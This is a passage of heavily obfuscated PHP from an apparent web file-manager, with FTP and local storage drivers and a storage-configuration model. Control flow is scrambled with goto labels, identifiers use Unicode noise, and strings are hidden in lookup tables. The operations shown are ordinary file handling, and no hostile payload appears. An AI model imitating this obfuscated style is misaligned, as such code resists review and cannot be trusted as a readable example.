isset($BɅ[$Eھ[164]]) && $BɅ[$Eھ[164]] == $Eھ[1144] ? !0 : !1; $this->scheme = $e ? $Eھ[1145] : $Eھ[1146]; $this->port = isset($BɅ[$Eھ[166]]) ? $BɅ[$Eھ[166]] : 21; goto f; d: @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); @ftp_pasv($this->connect, !0); $c[$dݑՅ] = array($Eھ[1147] => $this->connect, $Eھ[165] => $this->host, $Eھ[164] => $this->scheme, $Eھ[166] => $this->port); goto fц̆ޭ; d렛: } private function _isconn() { return is_resource($this->connect); } public function mkfile($E킟, $Dˆ = '', $dǓ = REPEAT_RENAME) { if ($this->setContent($E킟, $Dˆ)) { return $this->getPathOuter($E킟); } return !1; } public function mkdir($C¶, $Aҧ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $C¶ = $this->iconvSystem($C¶); if ($this->isFolder($C¶) || @ftp_mkdir($this->connect, $C¶)) { return $this->getPathOuter($C¶); } if (!$this->mkdir($this->pathFather($C¶))) { return !1; } if ($C¶ = @ftp_mkdir($this->connect, $C¶)) { return $this->getPathOuter($C¶); } return !1; } public function copyFile($aո, $eɚ) { goto fNJ; fNJ: if (!$this->_isconn()) { return !1; } $fҍ = $this->pathThis($this->iconvSystem($aո)); $e獆 = $this->tempFile($fҍ); goto Aؕ; Aؕ: $b篰ݺ = $this->iconvApp($e獆); $this->download($aո, $b篰ݺ); $D򕾗 = $this->upload($eɚ, $b篰ݺ); goto E·; E·: $this->tempFileRemve($e獆); return $D򕾗; goto dħ; dħ: } public function moveFile($fٴѴ, $f) { if (!$this->_isconn()) { return !1; } $fٴѴ = $this->iconvSystem($fٴѴ); $f = $this->iconvSystem($f); $e = @ftp_rename($this->connect, $fٴѴ, $f); return $e ? $this->getPathOuter($f) : !1; } public function delFile($b) { if (!$this->_isconn()) { return !1; } $b = $this->iconvSystem($b); return @ftp_delete($this->connect, $b); } public function delFolder($f) { if (!$this->_isconn()) { return !1; } $f = $this->iconvSystem($f); $fҼӤ = $this->ftpList($f); if (!$fҼӤ) { return @ftp_rmdir($this->connect, $f); } foreach ($fҼӤ as $eߍ) { if ($this->isFolder($eߍ)) { $eߍ = $this->iconvApp($eߍ); $this->delFolder($eߍ); } else { @ftp_delete($this->connect, $eߍ); } } return @ftp_rmdir($this->connect, $f); } public function rename($fɊ, $d) { goto E¦Ӗ; b؞: $Dħ = rtrim($Bӥ, $Eը[8]) . $Eը[8] . $E䅘; $E = @ftp_rename($this->connect, $fɊ, $Dħ); $Dħ = $this->iconvApp($Dħ); goto F; b: $E䅘 = $this->iconvSystem($E䅘); $fɊ = $this->iconvSystem($fɊ); $Bӥ = $this->pathFather($fɊ); goto b؞; F: return $E ? $this->getPathOuter($Dħ) : !1; goto Aъ; E¦Ӗ: $Eը =& $_SERVER[ֹ]; if (!$this->_isconn()) { return !1; } $E䅘 = $this->fileNameAuto($this->pathFather($fɊ), $d); goto b; Aъ: } private function folderInfo($eą۽, $e = false) { goto b떑; b떑: $CÈ =& $_SERVER[ֹ]; $bԛ = $this->getPathOuter(rtrim($eą۽, $CÈ[8])); $BݬԹ = $this->pathThis($bԛ); goto F툘; C슨: return $d; goto f̃; F툘: $d׷ = $this->iconvSystem($eą۽); if ($e) { return array($CÈ[28] => $BݬԹ, $CÈ[75] => $bԛ, $CÈ[29] => $CÈ[76]); } $d = array($CÈ[28] => $BݬԹ, $CÈ[75] => $bԛ, $CÈ[29] => $CÈ[76], $CÈ[183] => 0, $CÈ[106] => 0, $CÈ[1148] => !0, $CÈ[1149] => !0); goto C슨; f̃: } private function fileInfo($bү, $B̗у = false) { goto f҃; f҃: $dܚ =& $_SERVER[ֹ]; $A냅 = $this->getPathOuter(rtrim($bү, $dܚ[8])); $cկ = $this->pathThis($A냅); goto fϵ; fϵ: $F = $this->iconvSystem($bү); if ($B̗у) { return array($dܚ[28] => $cկ, $dܚ[75] => $A냅, $dܚ[29] => $dܚ[163], $dܚ[156] => $this->ext($bү), $dܚ[77] => $this->size($bү)); } $a = array($dܚ[28] => $cկ, $dܚ[75] => $A냅, $dܚ[29] => $dܚ[163], $dܚ[183] => 0, $dܚ[106] => @ftp_mdtm($this->connect, $F), $dܚ[156] => $this->ext($bү), $dܚ[77] => $this->size($bү), $dܚ[1148] => !0, $dܚ[1149] => !0); goto d; d: $a[$dܚ[106]] = $a[$dܚ[106]] > 0 ? $a[$dܚ[106]] : 0; return $a; goto aݟ; aݟ: } public function size($Cԋ) { $Fʹ = $this->objectMeta($Cԋ); return $Fʹ ? $Fʹ[$_SERVER[ֹ][77]] : 0; } public function info($dι) { if ($this->isFile($dι)) { return $this->fileInfo($dι, 0); } else { if ($this->isFolder($dι)) { return $this->folderInfo($dι); } } return !1; } public function exist($C͈۫) { return $this->objectMeta($C͈۫) ? !0 : !1; } public function isFile($AÉ) { $E׳ţ =& $_SERVER[ֹ]; $Aٸщﯜ = $this->objectMeta($AÉ); return $Aٸщﯜ ? $Aٸщﯜ[$E׳ţ[29]] == $E׳ţ[163] : !1; } public function isFolder($d˩) { $Aэ͵ =& $_SERVER[ֹ]; $c܃ = $this->objectMeta($d˩); return $c܃ ? $c܃[$Aэ͵[29]] == $Aэ͵[76] : !1; } public function listPath($fҏ㈆, $C = false) { goto a; a: $eڠ =& $_SERVER[ֹ]; if (!$this->_isconn()) { return !1; } $fҏ㈆ = $this->iconvSystem($fҏ㈆); goto eȨ˧; eȨ˧: $d벂 = $this->ftpList($fҏ㈆); $a = array($eڠ[74] => array(), $eڠ[73] => array()); if (!$d벂) { return $a; } goto Cז; Cז: foreach ($d벂 as $fҏ㈆) { if ($this->isFolder($fҏ㈆)) { $a[$eڠ[74]][] = $this->folderInfo($fҏ㈆, $C); } else { $a[$eڠ[73]][] = $this->fileInfo($fҏ㈆, $C); } } return $a; goto e疨; e疨: } public function has($Aʡ, $DՋᅎ = false, $A = true) { goto dږ; C불ް: foreach ($c齗 as $Aʡ) { if ($A) { if (!$this->isFolder($Aʡ)) { return !0; } } else { if ($this->isFolder($Aʡ)) { return !0; } } } return !1; goto d; c־: $c齗 = $this->ftpList($Aʡ); if (!$c齗) { return !1; } if ($DՋᅎ) { return array($bĐ[187] => 0, $bĐ[188] => count($c齗)); } goto C불ް; dږ: $bĐ =& $_SERVER[ֹ]; if (!$this->_isconn()) { return !1; } $Aʡ = $this->iconvSystem($Aʡ); goto c־; d: } public function listAll($E) { goto Fʑ; a: $C = array($D´[73] => array(), $D´[74] => array()); $this->recursionFtpFiles($E, $C); $F = array(); goto D٥; D٥: foreach ($C[$D´[74]] as $cడՊ) { $F[] = array($D´[75] => $D´[8] . trim(str_replace($E, $D´[33], $cడՊ), $D´[8]) . $D´[8], $D´[76] => 1, $D´[77] => 0); } foreach ($C[$D´[73]] as $b˲) { $F[] = array($D´[75] => $D´[8] . trim(str_replace($E, $D´[33], $b˲), $D´[8]), $D´[76] => 0, $D´[77] => $this->size($b˲)); } return $F; goto C; Fʑ: $D´ =& $_SERVER[ֹ]; if (!$this->_isconn()) { return !1; } $E = $this->iconvSystem($E); goto a; C: } public function getContent($Cۯ) { if (!$this->_isconn()) { return !1; } $Cۯ = $this->iconvSystem($Cۯ); return $this->fileSubstr($Cۯ); } public function setContent($F, $F孢 = '') { goto a쨭̾; d: return $Eѐ; goto D˅; a쨭̾: if (!$this->_isconn()) { return !1; } $Eݼ҉ = $this->pathThis($this->iconvSystem($F)); $f = $this->tempFile($Eݼ҉); goto Cȴ; Cȴ: file_put_contents($f, $F孢); $Eѐ = $this->upload($F, $this->iconvApp($f)); $this->tempFileRemve($f); goto d; D˅: } public function fileSubstr($Bެ߾, $A = 0, $b՘ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($Bެ߾, $A, $b՘); } private function ftpRequest($Fҋ˧, $Cﴭ = 0, $D๐ = false) { goto c؟; FĒڬ: curl_setopt($Bİõ, CURLOPT_RETURNTRANSFER, 1); $Fʘ = curl_exec($Bİõ); curl_close($Bİõ); goto b摤Ⱦº; c؟: $Fҋ˧ = $this->iconvSystem($Fҋ˧); $dą = $this->scheme . $this->host . $_SERVER[ֹ][4] . $this->port; $Bİõ = curl_init(); goto d; b摤Ⱦº: return $Fʘ; goto B; d: curl_setopt($Bİõ, CURLOPT_URL, $dą . $this->pathEncode($Fҋ˧)); curl_setopt($Bİõ, CURLOPT_USERPWD, "{$this->username}\72{$this->userpass}"); if ($D๐) { $E = $Cﴭ + $D๐ - 1; curl_setopt($Bİõ, CURLOPT_RANGE, "{$Cﴭ}\55{$E}"); } goto FĒڬ; B: } public function upload($aȺċ, $Eƒ, $dؾ傗 = false, $C߮ʄ = REPEAT_REPLACE) { goto bӃŧ; c̵: if ($d瑖 != FTP_FINISHED) { return !1; } return $this->getPathOuter($aȺċ); goto D¥; eʉ: $Eƒ = $this->iconvSystem($Eƒ); $d瑖 = ftp_nb_put($this->connect, $aȺċ, $Eƒ, FTP_BINARY); while ($d瑖 == FTP_MOREDATA) { $d瑖 = ftp_nb_continue($this->connect); } goto c̵; bӃŧ: if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($aȺċ))) { return !1; } $aȺċ = $this->iconvSystem($aȺċ); goto eʉ; D¥: } public function download($E, $A = '') { goto BՏ; BՏ: if (!$this->_isconn()) { return !1; } $D = $this->pathFather($A); if (!IO::mkdir($D)) { return !1; } goto a՞; a՞: $E = $this->iconvSystem($E); $A = $this->iconvSystem($A); $cĴ = ftp_nb_get($this->connect, $A, $E, FTP_BINARY); goto c˿͗; c˿͗: while ($cĴ == FTP_MOREDATA) { $cĴ = ftp_nb_continue($this->connect); } if ($cĴ != FTP_FINISHED) { return !1; } return $this->iconvApp($A); goto C; C: } private function ftpList($a) { goto aֿ; C: $a = rtrim($a, $E[8]) . $E[8]; $A = @ftp_nlist($this->connect, $a); if ($A === !1) { $A = @ftp_rawlist($this->connect, $a); foreach ($A as $dȑ => $cɈ) { $A[$dȑ] = end(explode($E[1150], $cɈ)); } } goto Cʋ; aֿ: $E =& $_SERVER[ֹ]; if (!$this->isFolder($a)) { return !1; } @ftp_chdir($this->connect, $E[8]); goto C; Cʋ: $bԎ = array(); foreach ($A as $Eҋ) { if ($Eҋ == $E[91] || $Eҋ == $E[1151]) { continue; } if (!strstr($Eҋ, $E[8])) { $Eҋ = $a . ltrim($Eҋ, $E[8]); } $bԎ[] = $this->iconvApp($Eҋ); } return $bԎ; goto B; B: } private function recursionFtpFiles($E, &$d“) { $D흡 =& $_SERVER[ֹ]; if (!$this->_isconn()) { return !1; } if (!($AѨ = $this->ftpList($E))) { return !1; } foreach ($AѨ as $E) { if ($this->isFolder($E)) { $this->recursionFtpFiles($E, $d“); $d“[$D흡[74]][] = $E; } else { $d“[$D흡[73]][] = $E; } } } private function objectMeta($EԔ) { goto E; D܄: return $aġ; goto e˃²; E: $fׄ =& $_SERVER[ֹ]; $A݈ = $fׄ[1152] . md5($EԔ); $aġ = Cache::get($A݈); goto A߇; A߇: if ($aġ !== null && $aġ !== !1) { return $aġ; } if (!$this->_isconn()) { return !1; } @ftp_chdir($this->connect, $fׄ[8]); goto f˿; f˿: $dЪ̢ = @ftp_size($this->connect, $this->iconvSystem($EԔ)); if ($dЪ̢ != -1) { $aġ = array($fׄ[77] => $dЪ̢, $fׄ[29] => $fׄ[163]); } else { $cܽ = @ftp_chdir($this->connect, $this->iconvSystem($EԔ)); $aġ = $cܽ ? array($fׄ[77] => 0, $fׄ[29] => $fׄ[76]) : !1; } Cache::set($A݈, $aġ, 0); goto D܄; e˃²: } } class PathDriverLocal extends PathDriverBase { public function __construct() { parent::__construct(); } public function getPath($b) { if (substr($b, 0, 2) == $_SERVER[ֹ][1141]) { $b = BASIC_PATH . substr($b, 2); } return $b; } public function iconvApp($Fۻ) { $Bіޅ =& $_SERVER[ֹ]; global $config; return $this->iconvTo($Fۻ, $config[$Bіޅ[1139]], $config[$Bіޅ[1138]]); } public function iconvSystem($dڊ) { $Cۨ =& $_SERVER[ֹ]; global $config; return $this->iconvTo($dڊ, $config[$Cۨ[1138]], $config[$Cۨ[1139]]); } public function getPathOuter($a) { goto e; EʏȈ: $a = KodIO::clear($a); $a = substr($a, strlen($Eē)); if (empty($this->pathDriver)) { return $a; } goto b; b: return $this->pathDriver . $Fɧɘ[8] . ltrim($a, $Fɧɘ[8]); goto c; e: $Fɧɘ =& $_SERVER[ֹ]; $Eē = $this->iconvApp($this->pathBase); $a = $this->iconvApp($a); goto c١; c١: if (substr($Eē, 0, 2) == $Fɧɘ[1141]) { $Eē = BASIC_PATH . substr($Eē, 2); } if (substr($a, 0, 2) == $Fɧɘ[1141]) { $a = BASIC_PATH . substr($a, 2); } $Eē = KodIO::clear($Eē); goto EʏȈ; c: } public function mkfile($bƝ, $eő = '', $c = REPEAT_RENAME) { $bƝ = $this->iconvSystem($bƝ); @touch($bƝ); if ($eő) { file_put_contents($bƝ, $eő); } return is_file($bƝ) ? $this->getPathOuter($bƝ) : !1; } public function mkdir($f쯅, $fɌ = REPEAT_SKIP) { $f쯅 = $this->iconvSystem($f쯅); if (is_dir($f쯅)) { return $this->getPathOuter($f쯅); } @mkdir($f쯅, 511, !0); return is_dir($f쯅) ? $this->getPathOuter($f쯅) : !1; } public function copyFile($aΤ, $B) { $this->mkdir($this->pathFather($B)); $aΤ = $this->iconvSystem($aΤ); $B = $this->iconvSystem($B); $A = @copy($aΤ, $B); return $A ? $this->getPathOuter($B) : !1; } public function moveFile($d۳, $e֙) { $this->mkdir($this->pathFather($e֙)); $d۳ = $this->iconvSystem($d۳); $e֙ = $this->iconvSystem($e֙); $cČ = intval(@rename($d۳, $e֙)); if (!$cČ) { if ($cČ = intval(@copy($d۳, $e֙))) { @unlink($d۳); } } return $cČ ? $this->getPathOuter($e֙) : !1; } public function delFile($cѩ) { $cѩ = $this->iconvSystem($cѩ); if (!@unlink($cѩ)) { @chmod($cѩ, 511); if (!@unlink($cѩ)) { return !1; } } else { return !0; } } public function delFolder($eđ) { goto eʺ; eʺ: $CȠ =& $_SERVER[ֹ]; $eđ = $this->iconvSystem($eđ); if (!is_dir($eđ)) { return !0; } goto Fơ; Fơ: if (!($fν = opendir($eđ))) { return !1; } while (($FС爝 = readdir($fν)) !== !1) { if ($FС爝 == $CȠ[91] || $FС爝 == $CȠ[1151]) { continue; } $FԽ㉖ = $eđ . $CȠ[8] . $FС爝; if (!is_dir($FԽ㉖)) { if (!unlink($FԽ㉖)) { chmod($FԽ㉖, 511); if (!unlink($FԽ㉖)) { return !1; } } } else { chmod($FԽ㉖, 511); $FԽ㉖ = $this->iconvApp($FԽ㉖); if (!$this->delFolder($FԽ㉖)) { return !1; } } } closedir($fν); goto E; E: return rmdir($eđ); goto FŎԷ; FŎԷ: } public function rename($d, $bߵҦ) { goto A얬; E: $a胑ø = @rename($d, $b); $b = $this->iconvApp($b); return $a胑ø ? $this->getPathOuter($b) : !1; goto b; Bλ߂: $d = $this->iconvSystem($d); $a = $this->pathFather($d); $b = rtrim($a, $F[8]) . $F[8] . $eǺ; goto E; A얬: $F =& $_SERVER[ֹ]; $eǺ = $this->fileNameAuto($this->pathFather($d), $bߵҦ); $eǺ = $this->iconvSystem($eǺ); goto Bλ߂; b: } public function size($e脭) { $e脭 = $this->iconvSystem($e脭); return (double) abs(sprintf($_SERVER[ֹ][1153], @filesize($e脭))); } public function info($BƆ) { $BƆ = $this->iconvSystem($BƆ); if ($this->isFolder($BƆ)) { return $this->folderInfo($BƆ); } else { if ($this->isFile($BƆ)) { return $this->fileInfo($BƆ); } } return !1; } protected function infoChildren($D, &$C爣, $Bᾷ = true) { $cʤdz =& $_SERVER[ֹ]; $D = rtrim($D, $cʤdz[8]) . $cʤdz[8]; if ($Bᾷ) { check_abort(); $D = $this->iconvSystem($D); } if (!($aگ = @opendir($D))) { return; } while (($d = readdir($aگ)) !== !1) { if ($d == $cʤdz[91] || $d == $cʤdz[1151]) { continue; } $D = $D . $d; if (is_file($D)) { $C爣[$cʤdz[78]]++; $C爣[$cʤdz[77]] += (double) abs(sprintf($cʤdz[1153], @filesize($D))); } else { $C爣[$cʤdz[79]]++; $this->infoChildren($D, $C爣, !1); } } closedir($aگ); } private function folderInfo($bяһ, $Dۊ = false) { $c΍ =& $_SERVER[ֹ]; $bяһ = rtrim($bяһ, $c΍[8]) . $c΍[8]; $B = $this->iconvApp($this->pathThis($bяһ)); if ($Dۊ) { return array($c΍[28] => $B, $c΍[75] => $this->getPathOuter($bяһ), $c΍[29] => $c΍[76]); } $cܛ = array($c΍[28] => $B, $c΍[75] => $this->getPathOuter($bяһ), $c΍[29] => $c΍[76], $c΍[183] => @filectime($bяһ), $c΍[106] => @filemtime($bяһ), $c΍[1154] => @fileatime($bяһ), $c΍[1148] => is_readable($bяһ), $c΍[1149] => is_writable($bяһ), $c΍[1155] => get_mode($bяһ)); return $cܛ; } private function fileInfo($Eڬ, $eɭܝ = false) { $Bע =& $_SERVER[ֹ]; $fǛڱ = $this->iconvApp($this->pathThis($Eڬ)); if ($eɭܝ) { return array($Bע[28] => $fǛڱ, $Bע[75] => $this->getPathOuter($Eڬ), $Bע[29] => $Bע[163], $Bע[77] => $this->size($Eڬ), $Bע[156] => $this->ext($fǛڱ)); } $F = array($Bע[28] => $fǛڱ, $Bע[75] => $this->getPathOuter($Eڬ), $Bע[29] => $Bע[163], $Bע[183] => @filectime($Eڬ), $Bע[106] => @filemtime($Eڬ), $Bע[1154] => @fileatime($Eڬ), $Bע[77] => $this->size($Eڬ), $Bע[156] => $this->ext($fǛڱ), $Bע[1148] => is_readable($Eڬ), $Bע[1149] => is_writable($Eڬ), $Bע[1155] => get_mode($Eڬ)); return $F; } public function exist($F) { $F = $this->iconvSystem($F); return @file_exists($F); } public function isFile($Aҥ©) { $Aҥ© = $this->iconvSystem($Aҥ©); return @is_file($Aҥ©); } public function isFolder($c˰) { $c˰ = $this->iconvSystem($c˰); return @is_dir($c˰); } public function listPath($bӒ, $BޣĦ = false) { goto EƉ÷; EƉ÷: $E̩ =& $_SERVER[ֹ]; $bӒ = $this->iconvSystem($bӒ); $bӒ = rtrim($bӒ, $E̩[8]) . $E̩[8]; goto E䫇; E䫇: $d߻֍ = array($E̩[74] => array(), $E̩[73] => array()); if (!($CŚ = @opendir($bӒ))) { return $d߻֍; } while (($DŽ = readdir($CŚ)) !== !1) { if ($DŽ == $E̩[91] || $DŽ == $E̩[1151]) { continue; } $A = $bӒ . $DŽ; if (is_file($A)) { $d߻֍[$E̩[73]][] = $this->fileInfo($A, $BޣĦ); } else { $d߻֍[$E̩[74]][] = $this->folderInfo($A, $BޣĦ); } } goto c; c: closedir($CŚ); return $d߻֍; goto f; f: } public function listAll($E, &$Cތÿ = array()) { goto Fع; dLJ: return $Cތÿ; goto E̊; Fع: $C =& $_SERVER[ֹ]; $E = $this->iconvSystem($E); $E = rtrim($E, $C[8]) . $C[8]; goto E蘉; E蘉: if (!($Eʇ = @opendir($E))) { return $Cތÿ; } while (($E = readdir($Eʇ)) !== !1) { if ($E == $C[91] || $E == $C[1151]) { continue; } $e͛ = $E . $E; if (is_dir($e͛)) { $Cތÿ[] = array($C[75] => $e͛ . $C[8], $C[76] => 1, $C[106] => @filemtime($e͛), $C[77] => 0); $this->listAll($e͛, $Cތÿ); } else { $Cތÿ[] = array($C[75] => $e͛, $C[76] => 0, $C[106] => @filemtime($e͛), $C[77] => $this->size($e͛)); } } closedir($Eʇ); goto dLJ; E̊: } public function has($Dﺗ, $F˝א = false, $E܌ = true) { goto bꯟÉ; bꯟÉ: $Aʼ捂 =& $_SERVER[ֹ]; $Dﺗ = $this->iconvSystem($Dﺗ); $Dﺗ = rtrim($Dﺗ, $Aʼ捂[8]) . $Aʼ捂[8]; goto b; b: if (!($A⃶ = @opendir($Dﺗ))) { return !1; } $Dس = 0; $bܾͳ = 0; goto b吳̉; Eحˠ: return !1; goto dѮ; b吳̉: while (($Eﻧ = readdir($A⃶)) !== !1) { if ($Eﻧ == $Aʼ捂[91] || $Eﻧ == $Aʼ捂[1151]) { continue; } $Aֶױ = $Dﺗ . $Eﻧ; if ($F˝א) { if (@is_file($Aֶױ)) { $Dس++; } else { $bܾͳ++; } continue; } if ($E܌) { if (@is_file($Aֶױ)) { return !0; } } else { if (@is_dir($Aֶױ . $Aʼ捂[8])) { return !0; } } } closedir($A⃶); if ($F˝א) { return array($Aʼ捂[187] => $Dس, $Aʼ捂[188] => $bܾͳ); } goto Eحˠ; dѮ: } public function hashSimple($aڸ) { goto b葆; Dڎ݌: fseek($eȓξ, $FȬӉ - $Dߦ); $dNj .= fread($eȓξ, $Dߦ); fclose($eȓξ); goto fų; A: $eȓξ = fopen($aڸ, $Dٖ[1156]); if (!$eȓξ) { return $dNj; } for ($Fϔʃ = 0; $Fϔʃ < $eز; $Fϔʃ++) { fseek($eȓξ, $e󗠵 * $Fϔʃ); $dNj .= fread($eȓξ, $Dߦ); } goto Dڎ݌; d竿: $FȬӉ = $this->size($aڸ); $Dߦ = 200; $eز = 50; goto dσ; dσ: if ($FȬӉ <= $Dߦ * $eز) { return $this->hashMd5($aڸ) . $FȬӉ; } $dNj = $Dٖ[33]; $e󗠵 = intval($FȬӉ / $eز); goto A; b葆: $Dٖ =& $_SERVER[ֹ]; if (!$aڸ) { return md5($Dٖ[33]); } $aڸ = $this->iconvSystem($aڸ); goto d竿; fų: return md5($dNj) . $FȬӉ; goto d׾; d׾: } public function getContent($Aꡅ) { $Aꡅ = $this->iconvSystem($Aꡅ); return file_get_contents($Aꡅ); } public function setContent($Fө, $f葋 = '') { $Fө = $this->iconvSystem($Fө); @file_put_contents($Fө, $f葋, LOCK_EX); clearstatcache(); return strlen($f葋) == filesize($Fө); } public function fileSubstr($D, $f = 0, $Cҹ = false) { goto cބ; a㑋ܹ: if ($Cҹ <= 0) { return $dް[33]; } $Aij = fopen($D, $dް[1156]); if (!$Aij) { return !1; } goto Cʌ; B٧: return $a۷􏑖; goto d; Cʌ: fseek($Aij, $f); $a۷􏑖 = fread($Aij, $Cҹ); fclose($Aij); goto B٧; cބ: $dް =& $_SERVER[ֹ]; $D = $this->iconvSystem($D); if ($Cҹ === !1) { $Cҹ = $this->size($D); } goto a㑋ܹ; d: } public function upload($Cڌ, $Eƨ, $D݋ = false, $F뢂 = REPEAT_REPLACE) { $Fצ = $this->copyFile($Eƨ, $Cڌ); return $Fצ ? $this->getPathOuter($Cڌ) : !1; } public function download($Bʏ䗸֤, $C) { return $this->iconvSystem($Bʏ䗸֤); } } goto Fͤ; f꺛: class StorageModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\145\x6d\x2e\163\x74\157\162\x61\x67\145\x4c\x69\x73\164"; public $field = array("\x6e\x61\x6d\145", "\163\151\x7a\145\115\x61\x78", "\x73\171\x73\164\x65\x6d", "\x64\145\146\x61\165\x6c\164", "\144\x72\x69\x76\145\162", "\143\157\x6e\x66\151\x67"); public function listData($D = false, $Aè = "\155\157\x64\151\146\171\124\151\155\x65", $F = false) { goto e; cխ: foreach ($f޾ñ as $C => $aݬ) { unset($f޾ñ[$C][$aڬ񊬔[6]]); $f޾ñ[$C][$aڬ񊬔[2065]] = 0; } $DDŽ豎 = array_to_keyvalue($f޾ñ, $aڬ񊬔[33], $aڬ񊬔[363]); $this->_listAppendSize($f޾ñ, $DDŽ豎); goto C؄; C؄: return $f޾ñ; goto EÑ; e: $aڬ񊬔 =& $_SERVER[ֹ]; $f޾ñ = parent::listData($D, $Aè, $F); if ($D) { return $f޾ñ; } goto cխ; EÑ: } public function _listAppendSize(&$A퉵, $Bͅ) { $C䗓 =& $_SERVER[ֹ]; $Aۣԑ = $C䗓[2339] . implode($C䗓[47], $Bͅ) . $C䗓[2340]; $f਑ = Model($C䗓[716])->query($Aۣԑ); $f਑ = array_to_keyvalue($f਑, $C䗓[363], $C䗓[77]); foreach ($A퉵 as $e => $dԆ) { $A퉵[$e][$C䗓[2065]] = isset($f਑[$dԆ[$C䗓[363]]]) ? $f਑[$dԆ[$C䗓[363]]] : 0; } } public function getConfig($FƧ) { $f҇Դ = parent::listData($FƧ); return json_decode($f҇Դ[$_SERVER[ֹ][6]], !0); } public function update($FҭΆ, $B؟) { goto aǒ; B: $b՟ = parent::update($FҭΆ, $B؟); if ($b՟ && $B؟[$Aﵱ[34]]) { foreach ($DŇ as $Aѷ) { if ($Aѷ[$Aﵱ[34]] && $Aѷ[$Aﵱ[363]] != $FҭΆ) { parent::update($Aѷ[$Aﵱ[363]], array($Aﵱ[34] => 0)); } } } return $b՟; goto AƮ; aǒ: $Aﵱ =& $_SERVER[ֹ]; $FѸ = $B؟[$Aﵱ[28]]; $DŇ = array_to_keyvalue(parent::listData(), $Aﵱ[28]); goto F; F: if (isset($DŇ[$FѸ]) && $DŇ[$FѸ][$Aﵱ[363]] != $FҭΆ) { return !1; } if (isset($B؟[$Aﵱ[2341]]) && $B؟[$Aﵱ[2341]] == $Aﵱ[83]) { $this->checkConfig($B؟); } unset($B؟[$Aﵱ[2341]]); goto B; AƮ: } public function add($c) { goto CŨ; CŨ: $D񙱢 =& $_SERVER[ֹ]; $eܗ = array_to_keyvalue(parent::listData(), $D񙱢[28]); if (isset($eܗ[$c[$D񙱢[28]]])) { return !1; } goto c饳Ԃ; c饳Ԃ: $this->checkConfig($c); $bЛ = parent::insert($c); if ($bЛ && $c[$D񙱢[34]]) { foreach ($eܗ as $b) { if ($b[$D񙱢[34]]) { parent::update($b[$D񙱢[363]], array($D񙱢[34] => 0)); } } } goto e; e: return $bЛ; goto F; F: } public function checkConfig(&$fˌʙ) { goto aDZ; B: $d = $c⧩->getPath($EƏ . $BЊ[1961]); if (!$c⧩->mkfile($d)) { show_json(LNG($BЊ[2342]), !1); } $EΗ[$BЊ[1018]] = $EƏ; goto cᖎ; cᖎ: $fˌʙ[$BЊ[6]] = json_encode($EΗ); $fˌʙ[$BЊ[90]] = $bܞ; return !0; goto c̔; aDZ: $BЊ =& $_SERVER[ֹ]; $BϪ = strtolower($fˌʙ[$BЊ[90]]); $EΗ = json_decode($fˌʙ[$BЊ[6]], !0); goto b; eڮ: $b䒛 = $BЊ[71] . $bܞ; $c⧩ = new $b䒛($EΗ); if (in_array($BϪ, $c⧩->objectDriver)) { if (!$c⧩->isBucketCors() && !$c⧩->setBucketCors()) { $fϢ = LNG($BЊ[2342]); $fϢ .= $BЊ[2343] . LNG($BЊ[2344]); show_json($fϢ, !1); } } goto B; b: foreach ($EΗ as $EȤ => $b݌) { $EΗ[$EȤ] = trim($b݌); } $EƏ = rtrim($EΗ[$BЊ[1018]], $BЊ[8]) . $BЊ[8]; $bܞ = $this->driverType($BϪ); goto eڮ; c̔: } private function driverType($D) { $EАÏ =& $_SERVER[ֹ]; $B㣃Ŀ = array($EАÏ[101] => $EАÏ[2345], $EАÏ[58] => $EАÏ[2346], $EАÏ[64] => $EАÏ[2347]); if (isset($B㣃Ŀ[$D])) { return $B㣃Ŀ[$D]; } return strtoupper($D); } public function driverListSystem() { $E =& $_SERVER[ֹ]; $f = parent::listData(); $b = array(); foreach ($f as $dЖ) { unset($dЖ[$E[183]], $dЖ[$E[106]]); $dЖ[$E[6]] = json_decode($dЖ[$E[6]], !0); $b[] = $dЖ; } return $b; } public function defaultDriver() { $d犄 =& $_SERVER[ֹ]; $dѩĐ = parent::listData(); $e = array_filter_by_field($dѩĐ, $d犄[34], 1); $e = $e[0]; if ($e) { $e[$d犄[6]] = json_decode($e[$d犄[6]], !0); } return $e; } public function driverInfo($DȲ) { $c =& $_SERVER[ֹ]; $dʰ = array_to_keyvalue(parent::listData(), $c[363]); if (!isset($dʰ[$DȲ])) { return !1; } $f촓˸ = $dʰ[$DȲ]; $f촓˸[$c[6]] = json_decode($f촓˸[$c[6]], !0); return $f촓˸; } public function remove($C) { $this->removeShareItems($C); return parent::remove($C); } public function removeWithFile($bŜ) { goto F; A͠: $B厳 = Model($cƨ[418])->where($F织)->sum($cƨ[77]); $Cܵ = $cƨ[2348] . $bŜ; $D = new TaskFileTransfer($Cܵ, $cƨ[2349], $Cػℭ, LNG($cƨ[2350]) . "\50{$bŜ}\51"); goto D՝; D՝: $D->task[$cƨ[695]] = (double) $B厳; $b = KodIO::defaultDriver(); $fڟ = $b[$cƨ[363]]; goto Aɶ; DՅᜳ: if (!$c) { $D->stop($Cܵ); return !1; } $D->end(); $this->remove($bŜ); goto Cͺ␹; a: $AÙ̼ = Model($cƨ[163])->where($F织)->field($cƨ[2351])->select(); foreach ($AÙ̼ as $f쫣) { goto C; eު: if (IO::exist($dي)) { $D->updateFileEnd($f쫣[$cƨ[28]], $f쫣[$cƨ[77]]); continue; } if (!IO::move($d՞씾, get_path_father($dي))) { $c = !1; break; } $F织 = array($cƨ[415] => $f쫣[$cƨ[415]]); goto aڿ; aڿ: $Eᵍد = array($cƨ[740] => $fڟ, $cƨ[75] => $dي); Model($cƨ[163])->where($F织)->save($Eᵍد); goto c柚; C: $d՞씾 = $f쫣[$cƨ[75]]; $dي = $f퉃 . str_replace("\x7b\x69\x6f\72{$bŜ}\x7d\x2f", $cƨ[33], $d՞씾); if (!IO::exist($d՞씾)) { $cᢜ̑[] = $f쫣[$cƨ[415]]; $D->updateFileEnd($f쫣[$cƨ[28]], $f쫣[$cƨ[77]]); continue; } goto eު; c柚: } $this->removeByFileID($cᢜ̑); goto DՅᜳ; F: $cƨ =& $_SERVER[ֹ]; $F织 = array($cƨ[740] => $bŜ); $Cػℭ = Model($cƨ[418])->where($F织)->count(); goto A͠; Aɶ: $f퉃 = "\x7b\x69\x6f\72{$fڟ}\x7d\57"; $c = !0; $cᢜ̑ = array(); goto a; Cͺ␹: } public function progress($Dز™) { return 